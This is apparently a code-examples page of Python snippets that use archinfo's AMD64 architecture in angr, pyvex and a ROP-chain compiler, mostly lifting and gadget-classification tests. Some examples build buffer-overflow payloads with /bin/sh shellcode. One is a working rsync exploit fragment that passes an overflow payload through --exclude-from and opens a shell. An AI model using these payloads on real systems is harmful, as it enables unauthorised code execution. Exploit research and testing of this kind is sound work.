Пример #1
0
def test_inspect_exit():
    class counts:  #pylint:disable=no-init
        exit_before = 0
        exit_after = 0

    def handle_exit_before(state):
        counts.exit_before += 1
        exit_target = state.inspect.exit_target
        nose.tools.assert_equal(state.solver.eval(exit_target), 0x3f8)
        # change exit target
        state.inspect.exit_target = 0x41414141
        nose.tools.assert_equal(state.inspect.exit_jumpkind, "Ijk_Boring")
        nose.tools.assert_true(state.inspect.exit_guard.is_true())

    def handle_exit_after(state):  #pylint:disable=unused-argument
        counts.exit_after += 1

    s = SimState(arch="AMD64", mode="symbolic")
    irsb = pyvex.IRSB(b"\x90\x90\x90\x90\xeb\x0a",
                      mem_addr=1000,
                      arch=archinfo.ArchAMD64())

    # break on exit
    s.inspect.b('exit', BP_BEFORE, action=handle_exit_before)
    s.inspect.b('exit', BP_AFTER, action=handle_exit_after)

    # step it
    succ = SimEngineVEX().process(s, irsb).flat_successors

    # check
    nose.tools.assert_equal(succ[0].solver.eval(succ[0].ip), 0x41414141)
    nose.tools.assert_equal(counts.exit_before, 1)
    nose.tools.assert_equal(counts.exit_after, 1)
Пример #2
0
class Instruction():
    assembly = None
    opcodes = None
    addr = 0
    ir = None
    arch = archinfo.ArchAMD64()

    def __init__(self, assembly, opcodes, addr):
        self.assembly = assembly
        self.opcodes = binascii.unhexlify(opcodes)
        self.addr = addr
        self.ir = pyvex.lift(self.opcodes, addr, self.arch)

    def __str__(self):
        output = ""
        for stmt in self.ir.statements:
            if isinstance(stmt, pyvex.stmt.Put):
                output += stmt.__str__(reg_name=self.arch.translate_register_name(stmt.offset,  stmt.data.result_size(self.ir.tyenv) // 8)) \
                    + "\n"
            elif isinstance(stmt, pyvex.stmt.Exit):
                output += stmt.__str__(
                    reg_name=self.arch.translate_register_name(
                        stmt.offsIP, self.ir.arch.bits // 8)) + "\n"
            elif isinstance(stmt, pyvex.stmt.IMark):
                output += hex(stmt.addr) + ":\t" + self.assembly + "\n"
            elif isinstance(stmt, pyvex.stmt.WrTmp) and isinstance(
                    stmt.data, pyvex.expr.Get):
                output += stmt.__str__(
                    reg_name=self.arch.translate_register_name(
                        stmt.data.offset,
                        stmt.data.result_size(self.ir.tyenv) // 8)) + "\n"
            else:
                output += stmt.__str__() + "\n"
        return output
Пример #3
0
def filter_gadgets(gadgets):
    filtered_gadgets = []
    r15 = archinfo.ArchAMD64().registers['r15'][0]
    for gadget in gadgets:
        if not r15 in gadget.inputs:
            filtered_gadgets.append(gadget)
    return filtered_gadgets
Пример #4
0
    def __init__(self):
        super(ArchitectureX86_64, self).__init__()
        self._name = 'x86_64'
        self._maxInvalid = 8
        if 'keystone' in globals():
            self._ksarch = (keystone.KS_ARCH_X86, keystone.KS_MODE_64)

        self._endings[gadget.GadgetType.SYS] = [(b'\x0f\x05', 2),
                                                (b'\x0f\x05\xc3', 3)
                                                ]  # syscall

        self._mode = CS_MODE_64
        if 'archinfo' in globals():
            self._info = archinfo.ArchAMD64()

        self._addressLength = 8
        self._pprs = [
            b'[\x58-\x5f]{2}\xc3',  # pop reg; pop reg; ret
            b'\x83\xc4\x08[\x58-\x5f]\xc3',  # add esp, 4; pop reg; ret
            b'[\x58-\x5f]\x83\xc4\x08\xc3',  # pop reg; add esp, 4; ret
            b'\x83\xc4\x10\xc3'  # add esp, 8; ret;
        ]
        self._pprs.append(b'\x41?[\x58-\x5f]\x48\x83\xc4\x08\xc3')
        self._pprs.append(b'\x48\x83\xc4\x08\x41?[\x58-\x5f]\xc3')
        self._pprs.append(b'(\x41?[\x58-\x5f]){2}\xc3')
        self._pprs.append(b'\x48\x83\xc4\x10\xc3')
Пример #5
0
def rop(files, libraries, goal_list, arch = archinfo.ArchAMD64(), log_level = logging.WARNING, validate_gadgets = False, strategy = None, bad_bytes = None):
  """Takes a goal resolver and creates a rop chain for it.  The arguments are as follows:
  $files - a list of tuples of the form (binary filename, gadget filename, load address).  The binary filename is the name of the
    file to generate a ROP chain for.  The gadget filename is a file that has been previously generated which contains the previously
    found gadgets (using the finder.py utility script).  If a gadget file hasn't been generated before, fill in None for this argument.
    The load address of the binary is only needed for libraries and PIE binaries.
  $libraries - a list of path's to the libraries to resolve symbols in.  Primarily this is useful for libc.  This list differs from
    the files list in that the entries in this list will not be used to find gadgets (and thus their address is not needed).
  $goal_list - a list of goals to attempt to compile a ROP chain for.  See goal.py for the format of the items in this list.
  $arch - the archinfo class representing the architecture of the binary
  $log_level - the level of logging to display during the ROP compiling process.  Note that pyvex logs a large amount of info to
    stderr during the compilation process and will not be affected by this value (sorry).
  $validate_gadgets - whether the gadgets should be verified using z3.  While this ensures that the ROP chain will work as expected,
    it makes the finding process faster and in practice shouldn't make a difference.
  $strategy - the strategy for find gadget (see gadget.py).  This can be either FIRST, BEST, or MEDIUM; where FIRST returns the first
    gadget that matches the desired type, BEST scans the found gadgets for the best one that matches the desired type, and MEDIUM
    is a compromise between the two.  In practice, the default (MEDIUM) should work for most things.
  $bad_bytes - a list of strings that a gadget will be rejected for if it contains them
  """
  file_handler = multifile_handler.MultifileHandler(files, libraries, arch, log_level)
  goal_resolver = goal.GoalResolver(file_handler, goal_list, log_level)

  gadgets = file_handler.find_gadgets(validate_gadgets, bad_bytes)
  if strategy != None:
    gadgets.set_strategy(strategy)
  gadget_scheduler = scheduler.Scheduler(gadgets, goal_resolver, file_handler, arch, log_level, bad_bytes)
  return gadget_scheduler.get_chain()
Пример #6
0
 def test_amd64(self):
     tests = [
         ({
             Jump: 1
         }, '\xff\xe0'),  # jmp rax
         ({
             MoveReg: 2
         }, '\x48\x93\xc3'),  # xchg rbx, rax; ret
         ({
             MoveReg: 1
         }, '\x48\x89\xcb\xc3'),  # mov rbx,rcx; ret
         ({
             LoadConst: 1
         }, '\x48\xbb\xff\xee\xdd\xcc\xbb\xaa\x99\x88\xc3'
          ),  # movabs rbx,0x8899aabbccddeeff; ret
         ({
             AddGadget: 1
         }, '\x48\x01\xc3\xc3'),  # add rbx, rax; ret
         ({
             LoadMem: 1
         }, '\x5f\xc3'),  # pop rdi; ret
         ({
             LoadMem: 1
         }, '\x48\x8b\x43\x08\xc3'),  # mov rax,QWORD PTR [rbx+0x8]; ret
         ({
             LoadMem: 1
         }, '\x48\x8b\x07\xc3'),  # mov rax,QWORD PTR [rdi]; ret
         ({
             StoreMem: 1
         }, '\x48\x89\x03\xc3'),  # mov QWORD PTR [rbx],rax; ret
         ({
             StoreMem: 1
         }, '\x48\x89\x43\x08\xc3'),  # mov QWORD PTR [rbx+0x8],rax; ret
         ({
             StoreMem: 1
         }, '\x48\x89\x44\x24\x08\xc3'),  # mov QWORD PTR [rsp+0x8],rax; ret
         ({
             LoadAddGadget: 1
         }, '\x48\x03\x03\xc3'),  # add rax,QWORD PTR [rbx]
         ({
             StoreAddGadget: 1
         }, '\x48\x01\x43\xf8\xc3'),  # add QWORD PTR [rbx-0x8],rax; ret
         ({}, '\x48\x39\xeb\xc3'),  # cmp rbx, rbp; ret
         ({}, '\x5e'),  # pop rsi
         ({}, '\x8b\x04\xc5\xc0\x32\x45\x00\xc3'
          ),  # mov rax,QWORD PTR [rax*8+0x4532c0]
         ({
             LoadMem: 1,
             LoadConst: 1
         }, '\x59\x48\x89\xcb\x48\xc7\xc1\x05\x00\x00\x00\xc3'
          ),  # pop rcx; mov rbx,rcx; mov rcx,0x5; ret
         ({}, '\x48\x8b\x85\xf0\xfd\xff\xff\x48\x83\xc0'),
         #      ({LoadMemJump : 1, },   '\x5a\xfc\xff\xd0'),                                       # pop rdx, cld, call rax
         ({
             LoadMem: 3,
             LoadMultiple: 1
         }, '\x5f\x5e\x5a\xc3'),  # pop rdi; pop rsi; pop rdx; ret
     ]
     self.run_test(archinfo.ArchAMD64(), tests)
Пример #7
0
    def __init__(self, bytes, address=0x0, arch_str='x64'):
        if arch_str == 'x64':
            arch = archinfo.ArchAMD64()
        else:
            pass  #TODO:

        self.Address = address
        self.irsb = pyvex.IRSB(bytes, address, arch)
Пример #8
0
    def test_amd64(self):
        arch = archinfo.ArchAMD64()
        tests = [
            (['\xff\xe0'], Jump, ['rax'], ['rip'], [], [], 0, None,
             True),  # jmp rax
            (['\x48\x93\xc3'], MoveReg, ['rbx'], ['rax'], [], ['rbx'], 8, 0,
             True),  # xchg rbx, rax; ret
            (['\x48\x93\xc3'], MoveReg, ['rax'], ['rbx'], [], ['rax'], 8, 0,
             True),  # xchg rbx, rax; ret
            (['\x48\x89\xcb\xc3'], MoveReg, ['rcx'], ['rbx'], [], [], 8, 0,
             True),  # mov rbx, rcx; ret
            (['\x48\xbb\xff\xee\xdd\xcc\xbb\xaa\x99\x88\xc3'
              ], LoadConst, [], ['rbx'], [0x8899aabbccddeeff], [], 8, 0,
             True),  # movabs rbx,0x8899aabbccddeeff; ret
            (['\x48\x01\xc3\xc3'], AddGadget, ['rbx', 'rax'], ['rbx'], [], [],
             8, 0, True),  # add rbx, rax; ret
            (['\x5f\xc3'], LoadMem, ['rsp'], ['rdi'], [0], [], 0x10, 8,
             True),  # pop rdi; ret
            (['\x48\x8b\x43\x08\xc3'], LoadMem, ['rbx'], ['rax'], [8], [], 8,
             0, True),  # mov rax,QWORD PTR [rbx+0x8]; ret
            (['\x48\x8b\x07\xc3'], LoadMem, ['rdi'], ['rax'], [0], [], 8, 0,
             True),  # mov rax,QWORD PTR [rbx+0x8]; ret
            (['\x48\x89\x03\xc3'], StoreMem, ['rbx', 'rax'], [], [0], [], 8, 0,
             True),  # mov QWORD PTR [rbx],rax; ret
            (['\x48\x89\x43\x08\xc3'], StoreMem, ['rbx', 'rax'], [], [8], [],
             8, 0, True),  # mov QWORD PTR [rbx+0x8],rax; ret
            (['\x48\x89\x44\x24\x08\xc3'], StoreMem, ['rsp', 'rax'], [], [8],
             [], 8, 0, True),  # mov QWORD PTR [rsp+0x8],rax; ret
            (['\x48\x03\x03\xc3'], LoadAddGadget, ['rbx', 'rax'], ['rax'], [0],
             [], 8, 0, True),  # add rax,QWORD PTR [rsp+0x8]; ret
            (['\x48\x01\x43\xf8\xc3'], StoreAddGadget, ['rbx', 'rax'], ['rax'],
             [-8], [], 8, 0, True),  # add QWORD PTR [rbx-0x8],rax; ret
            (['\x59\x48\x89\xcb\x48\xc7\xc1\x05\x00\x00\x00\xc3'
              ], LoadMem, ['rsp'], ['rbx'], [0], ['rcx'], 0x10, 8,
             True),  # pop rcx; mov rbx,rcx; mov rcx,0x5; ret
            (['\x59\x48\x89\xcb\x48\xc7\xc1\x05\x00\x00\x00\xc3'
              ], LoadConst, [], ['rcx'], [5], ['rbx'], 0x10, 8,
             True),  # pop rcx; mov rbx,rcx; mov rcx,0x5; ret
            (['\x5f\x5e\x5a\xc3'
              ], LoadMultiple, ['rsp'], ['rdi', 'rsi', 'rdx'], [0, 8, 0x10],
             [], 0x20, 0x18, True),  # pop rdi; pop rsi; pop rdx; ret
            (['\x48\xff\xc0\xc3'], AddConstGadget, ['rax'], ['rax'], [1], [],
             8, 0, True),  # inc rax; ret

            # Negative tests
            (['\xff\xe0'], Jump, ['rax'], ['rip'], [], [], 8, None, False
             ),  # jmp rax (bad stack offset)
            (['\x48\x93\xc3'], MoveReg, ['rbx'], ['rax'], [], ['rbx'], 8, 8,
             False),  # xchg rbx, rax; ret (bad ip in stack offset)
            (['\x5f\xc3'], LoadMem, ['rsp'], ['rdi'], [8], [], 0x10, 8,
             False),  # pop rdi; ret (bad param)
            (['\x5f\x5e\x5a\xc3'], LoadMultiple, ['rsp'],
             ['rdi', 'rsi', 'rdx'], [0, 7, 0x10], [], 0x20, 0x18,
             False),  # pop rdi; pop rsi; pop rdx; ret (bad param)
        ]
        self.run_test(arch, tests)
Пример #9
0
def test_irop_catevenlanes():
    arch = archinfo.ArchAMD64()
    p = angr.load_shellcode(arch.asm('pmulhrsw xmm0, xmm1'), arch)

    # concrete test
    s1 = p.factory.blank_state()
    s1.regs.xmm0 = 0x4713e06bf3235e97ca8cfde0647d65fd
    s1.regs.xmm1 = 0x31f1f86da1dce7de252adc78160e1016
    s2 = s1.step(num_inst=1).successors[0]
    assert (s2.regs.xmm0 == 0x1bbb01de0976ee2bf07b009711500cd1).is_true()
Пример #10
0
def test_irop_mulhi():
    arch = archinfo.ArchAMD64()
    p = angr.load_shellcode(arch.asm('vpmulhw xmm0,xmm1,xmm2'), arch)

    # concrete test
    s1 = p.factory.blank_state()
    s1.regs.xmm1 = 0x3aca92553c2526d4f20987aeab250255
    s1.regs.xmm2 = 0x1aebcb281463274ec3ce6473619a8541
    s2 = s1.step(num_inst=1).successors[0]
    assert (s2.regs.xmm0 == 0x62e16a304ca05f60348d0c9dfa5fee1).is_true()
Пример #11
0
def rop_to_shellcode(files,
                     libraries,
                     shellcode_address,
                     arch=archinfo.ArchAMD64(),
                     log_level=logging.WARNING,
                     validate_gadgets=False,
                     bad_bytes=None):
    """Convience method to create a goal_resolver for a shellcode address goal then find a rop chain for it"""
    goal_list = [["shellcode", hex(shellcode_address)]]
    return rop(files, libraries, goal_list, arch, log_level, validate_gadgets,
               bad_bytes)
Пример #12
0
 def test_amd64(self):
     arch = archinfo.ArchAMD64()
     tests = [
         (LoadMem, [], ['rax'], [],
          [(0x40000, MoveReg, ['rbx'], ['rax'], [], [], 8, 4),
           (0x40000, LoadMem, ['rsp'], ['rbx'], [], [], 8, 4)]),
         (LoadMem, ['rsp'], ['rax'], [],
          [(0x40000, LoadMemJump, ['rsp', 'rbx'], ['rax'], [], [], 8, None),
           (0x40000, LoadMem, ['rsp'], ['rbx'], [], [], 8, 4)]),
     ]
     self.run_test(arch, tests)
Пример #13
0
def main():
    ap = argparse.ArgumentParser()
    ap.add_argument('file')
    ap.add_argument('arch')
    ap.add_argument('mem_addr', type=lambda x: int(x, 0))
    args = ap.parse_args()

    data = open(args.file, 'rb').read()
    assert (args.arch == 'amd64')
    irsb = IRSB(data, args.mem_addr, archinfo.ArchAMD64())
    irsb.pp()
Пример #14
0
def test_ud2():

    # On x86 and amd64, ud2 is a valid 2-byte instruction that means "undefined instruction". Upon decoding a basic
    # block that ends with ud2, we should treat it as an explicit NoDecode, instead of skipping the instruction and
    # resume lifting.

    b = pyvex.block.IRSB(b'\x90\x90\x0f\x0b\x90\x90', 0x20,
                         archinfo.ArchAMD64())
    nose.tools.assert_equals(b.jumpkind, "Ijk_NoDecode")
    nose.tools.assert_equals(b.next.con.value, 0x22)
    nose.tools.assert_equals(b.size, 4)
Пример #15
0
def get_hardware_mode():
    (arch, mode) = (None, None)
    info = idaapi.get_inf_structure()
    # heuristically detect hardware setup
    info = idaapi.get_inf_structure()

    try:
        cpuname = info.procname.lower()
    except:
        cpuname = info.procName.lower()

    try:
        # since IDA7 beta 3 (170724) renamed inf.mf -> is_be()/set_be()
        is_be = idaapi.cvar.inf.is_be()
    except:
        # older IDA versions
        is_be = idaapi.cvar.inf.mf
    # print("Keypatch BIG_ENDIAN = %s" %is_be)

    if cpuname == "metapc":
        if info.is_64bit():
            arch = archinfo.ArchAMD64()
            mode = KS_MODE_64
        elif info.is_32bit():
            arch = archinfo.ArchX86()
            mode = KS_MODE_32
        else:
            arch = archinfo.ArchNotFound()
            mode = KS_MODE_16

    elif cpuname.startswith("ppc"):
        if info.is_64bit():
            arch = archinfo.ArchPPC64()
            mode = KS_MODE_PPC64
        else:
            arch = archinfo.ArchPPC32()
            mode = KS_MODE_PPC32
        if cpuname == "ppc":
            # do not support Little Endian mode for PPC
            mode += KS_MODE_BIG_ENDIAN

    elif cpuname.startswith("mips"):
        if info.is_64bit():
            arch = archinfo.ArchMIPS64()
            mode = KS_MODE_MIPS64
        else:
            arch = archinfo.ArchMIPS32()
            mode = KS_MODE_MIPS32
    elif cpuname.startswith("systemz") or cpuname.startswith("s390x"):
        arch = archinfo.ArchS390X()
        mode = KS_MODE_BIG_ENDIAN

    return (arch, mode)
Пример #16
0
    def test_bof(self):
        filename = e('bof')
        p = process([filename, '3000'])

        line = p.readline()
        buffer_address = int(line.split(":")[1], 16)

        target_address = buffer_address + 1024
        rop = ropme.rop_to_shellcode([(filename, None, 0)], [], target_address,
                                     archinfo.ArchAMD64(), logging.DEBUG, True)
        payload = 'A' * 512 + 'B' * 8 + rop
        payload += ((1024 - len(payload)) * 'B') + self.shellcode_amd64()

        p.writeline(payload)
        self.check_shell(p)
Пример #17
0
class _Architectures(collections.abc.Mapping):
    aliases = {'x64': 'amd64', 'x86-64': 'amd64'}
    __values = collections.OrderedDict(
        (('amd64', archinfo.ArchAMD64()), ('x86', archinfo.ArchX86())))

    def __getitem__(self, item):
        item = item.lower()
        item = self.aliases.get(item, item)
        return self.__values[item]

    def __iter__(self):
        return iter(self.__values)

    def __len__(self):
        return len(self.__values)
Пример #18
0
    def __init__(self, arch):
        if arch == 'x86':
            self.arch = archinfo.ArchX86()
            self.addr = 0x8048000
            self.name_size_pair = name_size_pair32
        elif arch == 'x64':
            self.arch = archinfo.ArchAMD64()
            self.addr = 0x401000
            self.name_size_pair = name_size_pair64
        self.statements = []
        self.lbl = 0

        self.ftop = False

        self.cc_op = None
        self.cc_dep1 = None
        self.cc_dep2 = None
        self.cc_ndep = None
Пример #19
0
    def __init__(self, *args, **kwargs):
        super(Minidump, self).__init__(*args, **kwargs)
        self.os = 'windows'
        self.supports_nx = True
        if self.binary is None:
            self._mdf = minidumpfile.MinidumpFile.parse_bytes(self.binary_stream.read())
        else:
            self._mdf = minidumpfile.MinidumpFile.parse(self.binary)

        if self.arch is None:
            if getattr(self._mdf, 'sysinfo', None) is None:
                raise MinidumpMissingStreamError('SystemInfo', 'The architecture was not specified')
            arch = self._mdf.sysinfo.ProcessorArchitecture
            if arch == SystemInfoStream.PROCESSOR_ARCHITECTURE.AMD64:
                self.set_arch(archinfo.ArchAMD64())
            elif arch == SystemInfoStream.PROCESSOR_ARCHITECTURE.INTEL:
                self.set_arch(archinfo.ArchX86())
            else:
                # has not been tested with other architectures
                raise CLEError('Loading minidumps is not implemented for this architecture')

        if self._mdf.memory_segments_64 is not None:
            segments = self._mdf.memory_segments_64.memory_segments
        elif self._mdf.memory_segments is not None:
            segments = self._mdf.memory_segments.memory_segments
        else:
            raise MinidumpMissingStreamError('MemoryList', 'The memory segments were not defined')

        for segment in segments:
            clemory = Clemory(self.arch)
            data = segment.read(segment.start_virtual_address, segment.size, self._mdf.file_handle)
            clemory.add_backer(0, data)
            self.memory.add_backer(segment.start_virtual_address, clemory)

        for module in self.modules:
            for segment in segments:
                if segment.start_virtual_address == module.baseaddress:
                    break
            else:
                raise CLEInvalidBinaryError('Missing segment for loaded module: ' + module.name)
            section = Section(module.name, segment.start_file_address, module.baseaddress, module.size)
            self.sections.append(section)
            self.sections_map[ntpath.basename(section.name)] = section
        self.segments = self.sections
Пример #20
0
def test_irop_perm():
    arch = archinfo.ArchAMD64()
    p = angr.load_shellcode(arch.asm('vpshufb xmm0,xmm1,xmm2'), arch)

    # concrete test
    s1 = p.factory.blank_state()
    s1.regs.xmm1 = 0x3c899a56814ee9b84c7b5d8394c85881
    s1.regs.xmm2 = 0xa55c66a2cdef1cbcd72b42078d1b7f8b
    s2 = s1.step(num_inst=1).successors[0]
    assert (s2.regs.xmm0 == 0x00567b00000056000081c84c00813c00).is_true()

    # symbolic test
    s3 = p.factory.blank_state()
    s3.regs.xmm1 = claripy.BVS('xmm1', 128)
    s3.regs.xmm2 = claripy.BVS('xmm2', 128)
    s4 = s3.step(num_inst=1).successors[0]
    s4.solver.add(s4.regs.xmm2 == 0xa55c66a2cdef1cbcd72b42078d1b7f8b)
    s4.solver.add(s4.regs.xmm0 == 0x00567b00000056000081c84c00813c00)
    assert s4.solver.solution(s4.regs.xmm1, 0x3c899a56814ee9b84c7b5d8394c85881)
Пример #21
0
def test_partial_lift():
    """This tests that gymrat correctly handles the case where an
    instruction is longer than the remaining input.
    """
    class NOP(Instruction):
        name = "nop"
        bin_format = "0000111100001111"

        def compute_result(self, *args):
            pass

    class NOPLifter(GymratLifter):
        instrs = [NOP]

    lifter = NOPLifter(archinfo.ArchAMD64(), 0)
    # this should not throw an exception
    block = lifter._lift("\x0F\x0Fa")
    nose.tools.assert_equal(block.size, 2)
    nose.tools.assert_equal(block.instructions, 1)
    nose.tools.assert_equal(block.jumpkind, JumpKind.NoDecode)
Пример #22
0
    def bof_many_args(self, is_64bit):
        if is_64bit:
            filename, arch = e('bof_many_args'), archinfo.ArchAMD64()
        else:
            filename, arch = e('bof_many_args_x86'), archinfo.ArchX86()

        files = [(filename, None, 0)]
        rop = ropme.rop(
            files, [],
            [["function", "callme", 11, 12, 13, 14, 15, 16, 17, 18]],
            arch=arch,
            log_level=logging.DEBUG)
        if is_64bit:
            payload = 'A' * 512 + 'B' * 8 + rop
        else:
            payload = 'A' * 524 + 'B' * 4 + rop
        p = process([filename, '3000'])
        p.writeline(payload)
        self.assertEqual('Called with (11,12,13,14,15,16,17,18)',
                         p.readline().strip())
        p.close()
Пример #23
0
 def test_amd64_jcc(self):
     tests = [
         # pop %rbp; retq ; mov $0x0,%eax; test %rax,%rax; je 400895; pop %rbp; mov $0x6020b0,%edi; jmpq *%rax;
         ({
             LoadMem: 1,
             NOP: 1,
             LoadMemJump: 1,
             RegJumpNormal: 3,
             JCC: 1
         },
          '\x5d\xc3\xb8\x00\x00\x00\x00\x48\x85\xc0\x74\xf4\x5d\xbf\xb0\x20\x60\x00\xff\xe0'
          ),
         #pop %rbp; retq; je 0; jmpq *%rax
         ({
             LoadMem: 1,
             NOP: 1,
             RegJumpNormal: 2,
             JCC: 1
         }, '\x5d\xc3\x74\xfc\xff\xe0'),
     ]
     self.run_jcc_test(archinfo.ArchAMD64(), tests)
Пример #24
0
def getRegInOut(ctx, address, inslen=15, arch=None, oneins=True, ignorereg=[]):
    b = ctx.getMemVal(address, inslen)
    if arch is None:
        arch = archinfo.ArchAMD64()
    irsb = pyvex.lift(b, address, arch)

    out = [[], []]  # [[regin][regout]]

    for s in irsb.statements[1:]:
        if isinstance(s, pyvex.IRStmt.IMark):
            if oneins:
                #bad inslen, grab again, otherwise we miss things
                #unless we really have the full block
                return getRegInOut(ctx, address, s.addr - address, arch,
                                   oneins, ignorereg)
        elif isinstance(s, pyvex.IRStmt.Put):
            roff = s.offset
            rsz = s.data.result_size(irsb.tyenv) // 8
            for i in range(rsz):
                r = roff + i
                if r not in ignorereg:
                    out[1].append(r)

        for e in s.expressions:
            if isinstance(e, pyvex.IRStmt.Get):
                roff = e.offset
                rsz = e.result_size(irsb.tyenv) // 8
                for i in range(rsz):
                    r = roff + i
                    if r not in ignorereg:
                        out[0].append(r)

    # if there is an option for changing RIP here, we need to report RIP as an output
    #if not isinstance(irsb.next, pyvex.expr.Const):
    #    out[1].append("rip")

    return out
Пример #25
0
def test_inspect():
    class counts:  #pylint:disable=no-init
        mem_read = 0
        mem_write = 0
        reg_read = 0
        reg_write = 0
        tmp_read = 0
        tmp_write = 0
        expr = 0
        statement = 0
        instruction = 0
        constraints = 0
        variables = 0

    def act_mem_read(state):  #pylint:disable=unused-argument
        counts.mem_read += 1

    def act_mem_write(state):  #pylint:disable=unused-argument
        counts.mem_write += 1

    def act_reg_read(state):  #pylint:disable=unused-argument
        counts.reg_read += 1

    def act_reg_write(state):  #pylint:disable=unused-argument
        counts.reg_write += 1

    def act_tmp_read(state):  #pylint:disable=unused-argument
        counts.tmp_read += 1

    def act_tmp_write(state):  #pylint:disable=unused-argument
        counts.tmp_write += 1

    def act_expr(state):  #pylint:disable=unused-argument
        counts.expr += 1

    def act_statement(state):  #pylint:disable=unused-argument
        counts.statement += 1

    def act_instruction(state):  #pylint:disable=unused-argument
        counts.instruction += 1

    def act_variables(state):  #pylint:disable=unused-argument
        #print "CREATING:", state.inspect.symbolic_name
        counts.variables += 1


#   def act_constraints(state): #pylint:disable=unused-argument
#       counts.constraints += 1

    s = SimState(arch="AMD64", mode="symbolic")

    s.inspect.b('mem_write', when=BP_AFTER, action=act_mem_write)
    nose.tools.assert_equal(counts.mem_write, 0)
    s.memory.store(100, s.solver.BVV(10, 32))
    nose.tools.assert_equal(counts.mem_write, 1)

    s.inspect.b('mem_read', when=BP_AFTER, action=act_mem_read)
    s.inspect.b('mem_read',
                when=BP_AFTER,
                action=act_mem_read,
                mem_read_address=100)
    s.inspect.b('mem_read',
                when=BP_AFTER,
                action=act_mem_read,
                mem_read_address=123)
    s.inspect.b('mem_read',
                when=BP_BEFORE,
                action=act_mem_read,
                mem_read_length=3)
    nose.tools.assert_equal(counts.mem_read, 0)
    s.memory.load(123, 4)
    s.memory.load(223, 3)
    nose.tools.assert_equal(counts.mem_read, 4)

    s.inspect.b('reg_read', when=BP_AFTER, action=act_reg_read)
    nose.tools.assert_equal(counts.reg_read, 0)
    s.registers.load(16)
    nose.tools.assert_equal(counts.reg_read, 1)

    s.inspect.b('reg_write', when=BP_AFTER, action=act_reg_write)
    nose.tools.assert_equal(counts.reg_write, 0)
    s.registers.store(16, s.solver.BVV(10, 32))
    nose.tools.assert_equal(counts.reg_write, 1)
    nose.tools.assert_equal(counts.mem_write, 1)
    nose.tools.assert_equal(counts.mem_read, 4)
    nose.tools.assert_equal(counts.reg_read, 1)

    s.inspect.b('tmp_read', when=BP_AFTER, action=act_tmp_read, tmp_read_num=0)
    s.inspect.b('tmp_write',
                when=BP_AFTER,
                action=act_tmp_write,
                tmp_write_num=0)
    s.inspect.b('expr', when=BP_AFTER, action=act_expr, expr_result=1016)
    s.inspect.b('statement', when=BP_AFTER, action=act_statement)
    s.inspect.b('instruction',
                when=BP_AFTER,
                action=act_instruction,
                instruction=1001)
    s.inspect.b('instruction',
                when=BP_AFTER,
                action=act_instruction,
                instruction=1000)
    irsb = pyvex.IRSB(b"\x90\x90\x90\x90\xeb\x0a",
                      mem_addr=1000,
                      arch=archinfo.ArchAMD64(),
                      opt_level=0)
    irsb.pp()
    SimEngineVEX().process(s, irsb)
    nose.tools.assert_equal(counts.reg_write, 7)
    nose.tools.assert_equal(counts.reg_read, 2)
    nose.tools.assert_equal(counts.tmp_write, 1)
    nose.tools.assert_equal(counts.tmp_read, 1)
    nose.tools.assert_equal(
        counts.expr, 3
    )  # one for the Put, one for the WrTmp, and one to get the next address to jump to
    nose.tools.assert_equal(counts.statement, 11)
    nose.tools.assert_equal(counts.instruction, 2)
    nose.tools.assert_equal(counts.constraints, 0)
    nose.tools.assert_equal(counts.mem_write, 1)
    nose.tools.assert_equal(counts.mem_read, 4)

    s = SimState(arch="AMD64", mode="symbolic")
    s.inspect.b('symbolic_variable', when=BP_AFTER, action=act_variables)
    s.memory.load(0, 10)
    nose.tools.assert_equal(counts.variables, 1)
Пример #26
0
    +
    "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68"  # mov  $0x68732f6e69622f2f, %rbx
    + "\x48\xc1\xeb\x08"  # shr    $0x8, %rbx
    + "\x53"  # push   %rbx
    + "\x48\x89\xe7"  # mov    %rsp, %rdi
    + "\x50"  # push   %rax
    + "\x57"  # push   %rdi
    + "\x48\x89\xe6"  # mov    %rsp, %rsi
    + "\xb0\x3b"  # mov    $0x3b, %al
    + "\x0f\x05"  # syscall
)

print "Finding gadgets and generating rop chain"
goals = [["shellcode_hex", binascii.hexlify(shellcode)]]
rop = ropme.rop(files, ["/lib/x86_64-linux-gnu/libc.so.6"], goals,
                archinfo.ArchAMD64(), logging.DEBUG)

payload = ("A" * 5696) + "J" * 8 + rop

with open("/tmp/rop", "w") as f:
    f.write(rop)
with open("/tmp/payload", "w") as f:
    f.write(payload)

print "Starting rsync with the exploit payload"
p = process(
    argv=[filename, '-r', '--exclude-from=/tmp/payload', '.', '/tmp/to/'],
    executable=filename)
#gdb.attach(p, "set disassembly-flavor intel\nbreak *mprotect\n")

p.interactive()
Пример #27
0
class BinjaBin(Backend):
    """
    Get information from binaries using Binary Ninja. Basing this on idabin.py, but will try to be more complete.
    TODO: add more features as Binary Ninja's feature set improves
    """
    is_default = True  # Tell CLE to automatically consider using the BinjaBin backend
    BINJA_ARCH_MAP = {
        "aarch64": archinfo.ArchAArch64(endness='Iend_LE'),
        "armv7": archinfo.ArchARMEL(endness='Iend_LE'),
        "thumb2": archinfo.ArchARMEL(endness='Iend_LE'),
        "armv7eb": archinfo.ArchARMEL(endness='Iend_BE'),
        "thumb2eb": archinfo.ArchARMEL(endness='Iend_BE'),
        "mipsel32": archinfo.ArchMIPS32(endness='Iend_LE'),
        "mips32": archinfo.ArchMIPS32(endness='Iend_BE'),
        "ppc": archinfo.ArchPPC32(endness="Iend_BE"),
        "ppc_le": archinfo.ArchPPC32(endness="Iend_LE"),
        "x86": archinfo.ArchX86(),
        "x86_64": archinfo.ArchAMD64()
    }

    def __init__(self, binary, *args, **kwargs):
        super().__init__(binary, *args, **kwargs)
        if not bn:
            raise CLEError(BINJA_NOT_INSTALLED_STR)
        # get_view_of_file can take a bndb or binary - wait for autoanalysis to complete
        self.bv = bn.BinaryViewType.get_view_of_file(binary, False)
        l.info("Analyzing %s, this may take some time...", binary)
        self.bv.update_analysis_and_wait()
        l.info("Analysis complete")
        # Note may want to add option to kick off linear sweep

        try:
            self.set_arch(self.BINJA_ARCH_MAP[self.bv.arch.name])
        except KeyError:
            l.error("Architecture %s is not supported.", self.bv.arch.name)

        for seg in self.bv.segments:
            l.info("Adding memory for segment at %x.", seg.start)
            br = bn.BinaryReader(self.bv)
            br.seek(seg.start)
            data = br.read(len(seg))
            self.memory.add_backer(seg.start, data)

        self._find_got()
        self._symbol_cache = {}
        self._init_symbol_cache()
        # Note: this represents the plt stub. ImportAddressSymbol refers to .got entries
        # Since we're not trying to import and load dependencies directly, but want to run SimProcedures,
        # We should use the binaryninja.SymbolType.ImportedFunctionSymbol
        # Also this should be generalized to get data imports, too
